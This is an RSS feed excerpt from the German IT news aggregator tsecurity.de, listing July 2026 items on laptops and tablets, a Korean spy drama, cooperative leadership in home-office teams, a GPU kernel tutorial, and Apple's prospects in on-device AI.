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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[The reason why the MacBook Air doesn't need a fan]]></title>
<description><![CDATA[Apple Silicon delivers enough performance without overheating.]]></description>
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<pubDate>Sun, 26 Jul 2026 15:45:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Silicon delivers enough performance without overheating.]]></content:encoded>
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<title><![CDATA[Gaming-Monster mit 4K-Mini-LED, RTX 5090 und 128 GB RAM – Asus ROG Strix SCAR 18 G835LXG im Test]]></title>
<description><![CDATA[Premium-Gaming mit kompromissloser Performance. | Asus aktualisiert sein ROG Strix SCAR 18 G835LXG mit dem Intel Core Ultra 9 290HX, einer Nvidia GeForce RTX 5090 Laptop und einem 18 Zoll großen 4K-Mini-LED-Display mit 240 Hz sowie 2.000 Dimming-Zonen. Hinzu kommen sehr gute Wartungsmöglichkeiten...]]></description>
<link>https://tsecurity.de/de/3695359/it-nachrichten/gaming-monster-mit-4k-mini-led-rtx-5090-und-128-gb-ram-asus-rog-strix-scar-18-g835lxg-im-test/</link>
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<pubDate>Sun, 26 Jul 2026 10:30:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Premium-Gaming mit kompromissloser Performance. | Asus aktualisiert sein ROG Strix SCAR 18 G835LXG mit dem Intel Core Ultra 9 290HX, einer Nvidia GeForce RTX 5090 Laptop und einem 18 Zoll großen 4K-Mini-LED-Display mit 240 Hz sowie 2.000 Dimming-Zonen. Hinzu kommen sehr gute Wartungsmöglichkeiten durch den vereinfachten Zugang zu den Komponenten und umfangreiche Individualisierungsoptionen mit AniME Vision und der vielseitigen RGB-Beleuchtung.]]></content:encoded>
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<title><![CDATA[WinScript Download - Windows anpassen und optimieren]]></title>
<description><![CDATA[Der kostenlose WinScript Download stellt Ihnen verschiedene Werkzeuge bereit, mit denen Sie Windows beschleunigen und entrümpeln und es zudem privater machen. Sie können außerdem essenzielle Programme ...			(Weiter lesen)]]></description>
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<pubDate>Sun, 26 Jul 2026 10:09:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/download/product/4159/"><img hspace="5" border="0" align="left" alt="Tuning, Optimierung, systemoptimierung, WinScript" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/79547.png"></a>
			Der kostenlose WinScript Download stellt Ihnen verschiedene Werkzeuge bereit, mit denen Sie Windows beschleunigen und entrümpeln und es zudem privater machen. Sie können außerdem essenzielle Programme ...			(<a href="https://winfuture.de/download/product/4159/">Weiter lesen</a>)]]></content:encoded>
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<title><![CDATA[Oppo Pad 5 im Test: Großes Display, großer Auftritt – großer Wurf?]]></title>
<description><![CDATA[Großes Display, moderne Technik, viel Ausdauer: Das Android-Tablet Oppo Pad 5 will den Platzhirschen wie iPad und Galaxy Tab Konkurrenz machen. Reichen starke Performance und clevere Ausstattung für den großen Wurf? Der Test.]]></description>
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<pubDate>Sun, 26 Jul 2026 09:15:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Großes Display, moderne Technik, viel Ausdauer: Das Android-Tablet Oppo Pad 5 will den Platzhirschen wie iPad und Galaxy Tab Konkurrenz machen. Reichen starke Performance und clevere Ausstattung für den großen Wurf? Der Test.]]></content:encoded>
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<title><![CDATA[Agent Kim Reactivated Season 2: Is Another Season Happening? Here’s What We Know]]></title>
<description><![CDATA[Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission.



The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday...]]></description>
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<pubDate>Sun, 26 Jul 2026 09:08:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission.



The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday. The finale ended its run as the most-watched drama of 2026 in South Korea, giving SBS and Netflix a strong reason to consider another season.




Season 2 status: Not officially renewed



Possible release date: Late 2027 or 2028, depending on renewal and production



Season 1 release: June 26 to July 25, 2026



Episodes: 10



Genre: Action, crime, spy thriller and comedy



Streaming platform: Netflix



Main cast: So Ji-sub, Choi Dae-hoon, Yoon Kyung-ho and Joo Sang-wook




Netflix describes the series as an action drama about an ordinary father who brings back his black-ops skills after his daughter disappears. The show is based on the Manager Kim webtoon and mixes family drama with espionage, chases and close-combat action.



Where could the story go in Season 2?



Spoilers for the Agent Kim Reactivated Season 1 finale follow.



Season 1 follows bank manager Kim Do-hyeon as he searches for his missing daughter, Min-ji. His investigation forces him to reveal that he once worked as a highly trained North Korean operative before building a quiet life in South Korea.



Do-hyeon eventually confronts Joo Kang-chan, bringing their long and violent history to a final showdown. However, the last episode does more than close the kidnapping storyline. It shows Do-hyeon beginning a new chapter and attending an employment interview connected to Baekho, directly opening the door for another season.



Agent Kim Reactivated Season 2 could follow Do-hyeon as he accepts professional missions instead of returning fully to his normal banking job. Baekho could recruit him for rescue operations involving missing people, criminal groups or former intelligence agents.



The next season could also expand the roles of Park Jin-cheol and Han-soo. Their skills and history would allow the show to form a larger team around Do-hyeon while introducing a new enemy connected to his earlier life.



When will Season 2 be announced?



SBS has not announced a renewal or production schedule. However, the finale’s strong ratings and clear continuation scene make a second season possible. A decision could depend on cast availability, Netflix performance and whether the writers have another completed storyline.



Would you watch Agent Kim Reactivated Season 2, and what mission should Manager Kim take on next? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Kooperativer Führungsstil: So entfesseln Sie wahre Performance]]></title>
<description><![CDATA[Kooperative Führungskräfte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein.NDAB Creativity – shutterstock.com



Ein Führungsstil beschreibt die Grundhaltung einer Führungskraft sowie ihr Verhalten gegenüber Mitarbeitern. Es gibt verschiedene Theorien und Modell...]]></description>
<link>https://tsecurity.de/de/3695007/it-security-nachrichten/kooperativer-fuehrungsstil-so-entfesseln-sie-wahre-performance/</link>
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<pubDate>Sun, 26 Jul 2026 06:33:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.29.57.png?w=1024" alt="Führungskräfte" class="wp-image-4200768" width="1024" height="571" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Kooperative Führungskräfte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein.</figcaption></figure><p class="imageCredit">NDAB Creativity – shutterstock.com</p></div>



<p class="wp-block-paragraph">Ein Führungsstil beschreibt die Grundhaltung einer <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Führungskraft</a> sowie ihr Verhalten gegenüber Mitarbeitern. Es gibt verschiedene Theorien und Modelle mit unterschiedlichen <a href="https://cio.de/article/3687651/wie-ein-moderner-fuehrungsstil-aussieht.html" target="_blank">Führungsstilen</a>.</p>



<h2 class="wp-block-heading">Welche Führungsstile gibt es?</h2>



<p class="wp-block-paragraph">Eine bekannte Einteilung hat der Sozialpsychologe Kurt Lewin vorgenommen. Lewin emigrierte 1933 aus Deutschland und forschte in den USA. In dieser Zeit entstand die Unterscheidung und Abstufung zwischen den Führungsstilen autoritär, laissez-faire und kooperativ:</p>



<ul class="wp-block-list">
<li>Beim <strong>autoritären Führungsstil</strong> gibt die Führungsperson ihren Mitarbeitern Anweisungen, was zu tun ist. <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Mitarbeiter</a> haben diese Anweisungen zu akzeptieren und auszuführen.</li>



<li>Beim <strong>Laissez-faire-Führungsstil</strong> überträgt die <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Führungskraft</a> Aufgaben auf die Mitarbeiter. Vorgesetzte machen klare Zielvorgaben, definieren die erwarteten Arbeitsergebnisse und delegieren die Aufgaben an die Mitarbeiter.</li>



<li>Dazwischen liegt der <strong>kooperative Führungsstil</strong>, bei dem Führungskraft und <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Mitarbeiter</a> Verantwortung teilen beziehungsweise gemeinsam übernehmen. Eines der Forschungsergebnisse Lewins war, dass ein kooperativer Führungsstil mit einer erhöhten Arbeitszufriedenheit der Mitarbeiter verbunden ist.</li>
</ul>



<h2 class="wp-block-heading">Merkmale eines kooperativen Führungsstils</h2>



<p class="wp-block-paragraph">Kooperative Führungskräfte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein. Für Prof. Dr. Guido Möllering, Direktor des Reinhard-Mohn-Instituts für Unternehmensführung an der Universität Witten/Herdecke, zählt zu den Merkmalen einer kooperativen <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Führungskraft</a> auch, dass mehr Autonomie gewährt wird bei zugleich gegenseitiger Transparenz und Koordination: “Die formale Führungskraft kommuniziert auf Augenhöhe, das heißt mit Respekt und Anerkennung der Fähigkeiten und Bedürfnisse der Geführten. Es gibt kaum noch Anweisungen, sondern man einigt sich, was zu tun ist”, so Möllering. Man verständige sich häufiger über die gemeinsamen Werte und Ziele. Führungskräfte sähen sich selbst als Vermittelnde.</p>



<p class="wp-block-paragraph">Für den Transformationsexperten und <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Berater</a> Martin Michaelis ist es nicht nur eine Frage von Branchen, Unternehmenskultur oder Generationen, ob kooperatives Führen sinnvoll ist. “In der heutigen Zeit ständiger und schneller Veränderung haben Unternehmen gar keine andere Wahl, als Ihren Mitarbeitern in einem bestimmten Maße mehr Verantwortung zu übergeben. Das bedeutet für Führungskräfte, dass sie ihre Mitarbeiter mehr in Entscheidungsprozesse einbinden müssen.” Schwierig werde es dann, wenn unter den Mitarbeitern nur eine niedrige Bereitschaft bestehe, Verantwortung zu übernehmen. “Wichtig ist dann, Schritt für Schritt vorzugehen: je nach individueller Kapazität und nicht zu viel auf einmal an Verantwortungen zu delegieren”, rät Michaelis.</p>



<h2 class="wp-block-heading">Vor- und Nachteile eines kooperativen Führungsstils</h2>



<p class="wp-block-paragraph">“Die stärkere Partizipation und das Empowerment, das kooperative Führung ermöglicht, sind sehr motivierend, können aber auch überfordern”, weiß Experte Möllering. Wenn Verantwortung stärker geteilt werde, werfe das Fragen auf: Wer trägt das Risiko von gemeinsamen Entscheidungen? Und: Wer bekommt welchen Anteil am gemeinsamen Erfolg? “Wenn ein gemeinsames Verständnis hergestellt werden kann, wie die kooperative Führung wirklich gemeint ist, dann überwiegen klar die Vorteile”, ist Möllering überzeugt. Wichtig sei auch, dass eine echte Beteiligung an der Führung möglich ist. Also nicht am Ende doch wieder einer alles alleine entscheide.</p>



<h2 class="wp-block-heading">Kooperatives Führen lernen</h2>



<p class="wp-block-paragraph">Doch lässt sich ein solcher kooperativer Führungsstil erlernen? “Es gibt eine Menge Kompetenzen, die erlernt werden können”, sagt Martin Michaelis auf die Frage, ob sich kooperatives Führen erlernen lässt. Dabei unterscheidet er zwischen Methoden und Verhalten, sowie Haltung. Neue Methoden und Verhaltensweisen lassen sich erlernen. Dazu zählt beispielsweise, sich selbst als Führungskraft zurückzunehmen, Mitarbeitern mehr Raum zu geben und ihnen mehr Fragen zu stellen.</p>



<p class="wp-block-paragraph">“Eine kooperative Haltung braucht meist etwas mehr Zeit”, so Michaelis. Je nach Person ständen oft alte Einstellungen und Glaubenssätze im Weg. Eine wichtige Erkenntnis lautet: Wer kooperativ führen möchte, muss Schritt für Schritt lernen, Vertrauen zu haben. “Eine ‘Dann mache ich das jetzt lieber selbst’-Haltung ergibt keinen Sinn”, sagt Michaelis. In einer konkreten Situation ist eine Aufgabe damit vielleicht schneller und auch besser erledigt. Aber damit nehme man seinen Mitarbeitern den Raum, zu lernen und sich weiterzuentwickeln. Und damit auch die Möglichkeit, zumindest mittelfristig mehr Verantwortung zu übernehmen.</p>



<h2 class="wp-block-heading">Kooperativ führen</h2>



<p class="wp-block-paragraph">Die Bertelsmann Stiftung und das Reinhard-Mohn-Institut der Universität Witten/Herdecke haben für ihren <a href="https://www.bertelsmann-stiftung.de/de/publikationen/publikation/did/fuehrungskraefte-radar-2020-corona-spezial-all#0" target="_blank" rel="noreferrer noopener">Führungskräfte-Radar</a> eine repräsentative Befragung unter Führungskräften in Deutschland vorgenommen. Eine Beobachtung: Wenn Home-Office zur Dauereinrichtung wird, befürchten Führungskräfte, dass der Austausch mit den Mitarbeitern mehr und mehr verloren geht und die Unternehmenskultur leidet. Viele Führungskräfte konnten ihre Mitarbeiter in Home-Office-Corona-Zeiten nicht so unterstützen, wie sie es gerne getan hätten (45,7 Prozent). Guido Möllering vom Reinhard-Mohn-Institut sagt: “Die Ausnahmesituation hat uns verschiedene Aspekte deutlicher sehen lassen als sonst”. Er nennt die folgenden drei Punkte:</p>



<ul class="wp-block-list">
<li>Führung funktioniert nur, wenn die Geführten mitspielen, also kooperativ die Impulse der Führenden aufnehmen oder konstruktiv der Führungskraft Feedback geben.</li>



<li>Das Management kann gerade in einer Krise nicht alle Probleme alleine lösen und alle Entscheidungen alleine treffen. Notgedrungen wird mehr delegiert, pragmatisch gehandelt und sich aufeinander verlassen. Man ist im Team beim gemeinsamen, kooperativen Problemlösen mehr auf Augenhöhe.</li>



<li>Gerade beim Führen auf Distanz (insbesondere wegen Homeoffice) merkt man deutlich, dass Führen nicht primär Kontrolle, sondern Unterstützung der Geführten bedeutet. Der Team-Gedanke verstärkt sich und die Verantwortung für das gemeinsame Ergebnis wird stärker geteilt.</li>
</ul>



<h2 class="wp-block-heading">Kooperative Führungskräfte brauchen Vertrauen</h2>



<p class="wp-block-paragraph">Übergreifend werde deutlich, wie wichtig eine solide Vertrauensbasis sei, so Möllering: “Diese baut man nicht durch hierarchische Anweisungen, sondern durch kollegiale Zusammenarbeit auf.” Im Gegensatz zu dem oft in Krisen vermuteten autoritären Führungsstil hat sich in der zurückliegenden Corona-Pandemie nicht die lenkende Führungskraft früherer Zeiten, sondern die vermittelnde Führungskraft bewährt.</p>



<h3 class="wp-block-heading">Wie Führungskräfte Teams im Homeoffice leiten</h3>



<p class="wp-block-paragraph">Seit der Pandemie gehört virtuelle Mitarbeiterführung zu den Standartaufgaben für jeden Vorgesetzten. Wir haben die wichtigsten Learnings aus dieser Zeit zusammengefasst.</p>



<p class="wp-block-paragraph">Zu den größten Herausforderungen zählen die unterschiedlichen Voraussetzungen, womit Teammitglieder bei der Heimarbeit konfrontiert sind. Nicht jeder hat ausreichenden Raum für ein separates Home-Office. Dazu kommen Ablenkungen wie Kinder, Haustiere oder bei Singles ein Gefühl der Isolation. All das hat Einfluss darauf, wie und zu welchen Zeiten Mitarbeiter ihre Aufgaben am besten erledigen können. Vorgesetzte, die offen Verständnis für individuelle Situationen zeigen, schaffen die Grundlage einer vertrauensvollen Zusammenarbeit.</p>



<p class="wp-block-paragraph">Permanenter Stress im Home-Office ist keine gute Voraussetzung, um kontinuierlich gute Arbeit zu leisten. Wer als Führungskraft vermittelt, dass es okay ist, nicht immer perfekt zu funktionieren, nimmt Mitarbeitern etwas den Druck in der Gewöhnung an die neue Normalität. Vielen fällt es mit dieser Gewissheit leichter, Deadlines einzuhalten und den Erwartungen zu entsprechen.</p>



<p class="wp-block-paragraph">Ein tägliches Gespräch mit Chefin oder Chef – ist das nicht zu viel der Kommunikation? Nein, denn insbesondere bei der digitalen Mitarbeiterführung ist die Regelmäßigkeit des Austauschs entscheidend. Nur so lässt sich einschätzen, ob alles wie besprochen läuft und sich alle im Team den Anforderungen gewachsen fühlen. Missverständnisse und Fehler passieren – ähnlich wie im Büro – vor allem, wenn zu wenig kommuniziert wird.</p>



<p class="wp-block-paragraph">Nur mit Personen, zu denen man regelmäßigen Kontakt pflegt, können Beziehungen entstehen. Das funktioniert im Zeitalter des digitalen Austauschs über zahlreiche Kommunikationskanäle. Moderne Videokonferenz-Tools wie Zoom, Teams, Google Meet etc. ermöglichen eine Kommunikation von Angesicht zu Angesicht und machen sichtbar, wie es allen Teammitgliedern geht.</p>



<p class="wp-block-paragraph">Dezentral organisierte Teamarbeit funktioniert am effektivsten, wenn sich alle über die Grundregeln der Kommunikation einig sind. Vorgesetzte können für klare Verhältnisse sorgen, indem sie Häufigkeit, Zweck und Timing des Austauschs und die dafür priorisierten Kanäle festlegen. Videokonferenzen sind in der Regel die erste Wahl für die tägliche Gruppenbesprechung. Gerade größere Gesprächsrunden lassen sich durch simple Tricks so strukturieren, dass auch Meetings mit hoher Teilnehmerzahl geordnet und effektiv ablaufen. Wenn es um dringliche Angelegenheiten oder Nachfragen geht, sind andere Kanäle wie Instant Messaging der bessere Weg. Unified-Communications-Plattformen ermöglichen eine Vielzahl von Anwendungen und Kommunikationskanälen.</p>



<p class="wp-block-paragraph">Oft werden beim Übergang von der klassischen Büroarbeit ins Home-Office Aufgaben innerhalb eines Teams neu verteilt oder kommen neue hinzu. Damit Mitarbeiter diese erfüllen können, muss klar sein, was genau von ihnen erwartet wird. Manchen mag es außerhalb der gewohnten Büroatmosphäre anfangs schwerfallen, Aufträge zu priorisieren. Gemeinsam kann geklärt werden, welche Aufgaben Priorität haben und zu schaffen ist. Einfach davon auszugehen, dass jeder weiß, was zu tun ist, ist kontraproduktiv. Besser ist, von Anfang an eine Feedback-Schleife zu vereinbaren, um Erwartungen anzupassen und in den bekannten Applikationen zu dokumentieren.</p>



<p class="wp-block-paragraph">Teams funktionieren vor allem dann, wenn alle Mitglieder eine gemeinsame Mission verfolgen. Das dabei entstehende Gemeinschaftsgefühl hilft auch, Unsicherheiten zu überwinden und mit ungewohnten Arbeitssituationen umzugehen. Wenn jeder weiß, was er zum gemeinsamen Erfolg beiträgt, ist das die beste Motivation, Höchstleistungen zu erbringen. Erfolge sollten außerdem gewürdigt werden.</p>



<p class="wp-block-paragraph">Wie lassen sich Engagement und Selbstverantwortung fördern? Indem Führungskräfte sich auf die gewünschten Ergebnisse konzentrieren und Teammitgliedern den Freiraum lassen, selbst einzuteilen, wie sie zum Ziel kommen wollen. Voraussetzung dafür ist ausreichend Zeit und zuvor aufgebautes Vertrauen. Ist das der Fall, lässt sich auf diesem Weg nicht nur die Kreativität der Mitarbeiter fördern, sondern auch kräftezehrendes Mikromanagement vermeiden. Virtuelle Brainstorms lassen sich beispielsweise in Breakout-Räume aufteilen. Kleinere Teams können dadurch in separaten Sitzungen arbeiten und ihre Ideen sammeln, die anschließend in der größeren Runde präsentiert werden.</p>



<p class="wp-block-paragraph">Regelmäßige Kommunikation und klare Zielvorgaben sind wichtig. Sie dürfen aber nicht dazu führen, dass Mitarbeiter das Gefühl bekommen, im Home-Office überwacht zu werden. Vorgesetzte, die mehrmals täglich penible Rückmeldungen zu erledigten Arbeitsschritten einfordern, signalisieren damit fehlendes Vertrauen. Sie riskieren zudem, dass Teams den Fokus verlieren. Beratung und Betreuung sind besser als strikte Kontrolle.</p>



<p class="wp-block-paragraph">Als neues Mitglied in ein dezentral arbeitendes Team zu kommen, kann zur Herausforderung werden, weil sich die Dynamik einer Gruppe anfangs schwerer erspüren lässt. Umso wichtiger ist es, Neulingen zu Beginn ihrer Tätigkeit das Gefühl zu geben, Teil der Gruppe zu sein. Unternehmen, die bereits über längere Erfahrung in dezentralem Arbeiten verfügen, haben dies zum festen Bestandteil ihres Onboardings gemacht.</p>



<p class="wp-block-paragraph">Selbst in gut funktionierenden Arbeitsumfeldern kann es gelegentlich zu Unsicherheiten, Unzufriedenheit oder Ängsten der Mitarbeiter kommen. Die Aufgabe von Führungskräften besteht darin, Teams davor zu schützen. Das gelingt am besten, wenn auch die sozialen Aspekte der gemeinsamen Arbeit berücksichtigt werden. Dafür braucht es keine verpflichtenden gemeinsamen Kaffeepausen, aber von Zeit zu Zeit die Gelegenheit für einen lockeren Austausch, der Mitarbeitern das Gefühl gibt, trotz der Distanz wahrgenommen zu werden. Virtuell lässt sich der Teamgeist auch fördern, wenn zur Abwechslung mal eine Happy Hour, ein virtuelles Quizzen oder ein gemeinsames Essen per Videochat organisiert wird.<br><br><br></p>
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<title><![CDATA[Designing High-Performance GPU Kernels with TileLang: Tensor-Core GEMM, Fused Softmax, FlashAttention, and Autotuning]]></title>
<description><![CDATA[Explore TileLang, a high-level Python domain-specific language that simplifies the design of high-performance GPU kernels. This tutorial provides a step-by-step approach to implementing complex workloads—including tiled tensor-core GEMM, fused softmax, and FlashAttention—while letting the compile...]]></description>
<link>https://tsecurity.de/de/3694838/ai-nachrichten/designing-high-performance-gpu-kernels-with-tilelang-tensor-core-gemm-fused-softmax-flashattention-and-autotuning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694838/ai-nachrichten/designing-high-performance-gpu-kernels-with-tilelang-tensor-core-gemm-fused-softmax-flashattention-and-autotuning/</guid>
<pubDate>Sat, 25 Jul 2026 20:26:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Explore TileLang, a high-level Python domain-specific language that simplifies the design of high-performance GPU kernels. This tutorial provides a step-by-step approach to implementing complex workloads—including tiled tensor-core GEMM, fused softmax, and FlashAttention—while letting the compiler handle intricate thread mapping, memory layouts, and low-level CUDA instruction generation.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/designing-high-performance-gpu-kernels-with-tilelang-tensor-core-gemm-fused-softmax-flashattention-and-autotuning/">Designing High-Performance GPU Kernels with TileLang: Tensor-Core GEMM, Fused Softmax, FlashAttention, and Autotuning</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
